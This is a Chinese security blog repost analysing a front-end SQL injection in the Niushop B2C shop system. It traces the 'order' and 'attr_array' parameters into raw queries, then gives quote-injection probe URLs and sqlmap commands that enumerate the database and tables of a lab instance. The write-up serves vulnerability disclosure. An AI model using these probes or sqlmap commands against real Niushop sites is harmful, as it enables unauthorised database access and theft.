某Shop前台SQL注入

admin 2024年10月28日10:34:45评论10 views字数 2146阅读7分9秒阅读模式

0x01 前言

Niushop B2C商城系统基于ThinkPHP5.0开发,源码全部开放(100%),商用免费,四网合一,满足用户、企业、开发者、服务商等角色要求

0x02 代码分析

跟踪到/Application/(wap/shop)/Controller/Goods.php中的ajaxGoodsList方法

某Shop前台SQL注入

某Shop前台SQL注入

某Shop前台SQL注入

某Shop前台SQL注入

某Shop前台SQL注入

  • 924 Line: 使用count函数获取$attr_array数组中的元素个数并赋值给$array_count

  • 925 Line: 定义$goodsid_str变量

  • 926 Line: 定义$attr_str_where变量

  • 927 Line: 判断数组$attr_array是否为空

  • 929 Line: 循环$attr_array数组$k表示键、$v表示值

  • 930 Line: 判断$attr_str_where是否为空

  • 931 Line: 将$v[2]、$v[1]拼接到SQL语句中

  • 932 Line: 将$v[2]、$v[1]拼接到SQL语句中

  • 936 Line: 判断$attr_str_where是否不为空

  • 937 Line: 调用$goods中的getGoodsAttributeQuery方法并将$attr_str_where传入
    跟踪到/data/service/Goods.php中的getGoodsAttributeQuery方法

某Shop前台SQL注入

  • 3959 Line: 实例化NsGoodsAttributeModel模型并赋给$goods_attribute

  • 3960 Line: 调用对象$goods_attribute中的getQuery并将$condition传入
    跟踪到/data/Model/BaseModel.php中的getQuery方法

某Shop前台SQL注入

  • 这里直接将传入的语句带入查询了,造成了SQL注入

某Shop前台SQL注入

  • 1029 Line:将外部传入的$order传入$goods中的getGoodsListNew方法
    跟踪到/data/service/Goods.php中的getGoodsListNew方法

某Shop前台SQL注入

某Shop前台SQL注入

  • 4910 Line: 从头往下看参数$order未被过滤,传入到了模型$goods_model中的viewPageQueryNew方法
    跟踪到/data/Model/BaseModel.php中的viewPageQueryNew方法

某Shop前台SQL注入

  • 这里直接将$order带入查询了,造成了SQL注入
    # 0x03 漏洞探测
    order参数:
    http://172.16.209.129:8085/index.php/wap/goods/getGoodsListByConditions?category_id=1&brand_id=2&min_price=3&max_price=4&page=5&page_size=6&order=7%27&attr_array[][2]=8&spec_array[]=9

某Shop前台SQL注入

attr_array参数:
http://172.16.209.129:8085/index.php/wap/goods/getGoodsListByConditions?category_id=1&brand_id=2&min_price=3&max_price=4&page=5&page_size=6&order=7&attr_array[][2]=8%27&spec_array[]=9

某Shop前台SQL注入

两个参数均可触发该漏洞

0x04 漏洞复现

sqlmap -u "http://172.16.209.129:8085/index.php/wap/goods/getGoodsListByConditions?category_id=1&brand_id=2&min_price=3&max_price=4&page=5&page_size=6&order=7&attr_array[][2]=8*&spec_array[]=9" --random-agent --batch --dbms "mysql"

某Shop前台SQL注入

sqlmap -u "http://172.16.209.129:8085/index.php/wap/goods/getGoodsListByConditions?category_id=1&brand_id=2&min_price=3&max_price=4&page=5&page_size=6&order=7&attr_array[][2]=8*&spec_array[]=9" --random-agent --batch --dbms "mysql" --current-db

某Shop前台SQL注入

sqlmap -u "http://172.16.209.129:8085/index.php/wap/goods/getGoodsListByConditions?category_id=1&brand_id=2&min_price=3&max_price=4&page=5&page_size=6&order=7&attr_array[][2]=8*&spec_array[]=9" --random-agent --batch --dbms "mysql" -D niushop_b2c --tables

某Shop前台SQL注入

0x05 漏洞修复

某Shop前台SQL注入

某Shop前台SQL注入

来源:https://xz.aliyun.com/ 感谢【Onlywait

原文始发于微信公众号(船山信安):某Shop前台SQL注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月28日10:34:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某Shop前台SQL注入http://cn-sec.com/archives/3322076.html

发表评论

匿名网友 填写信息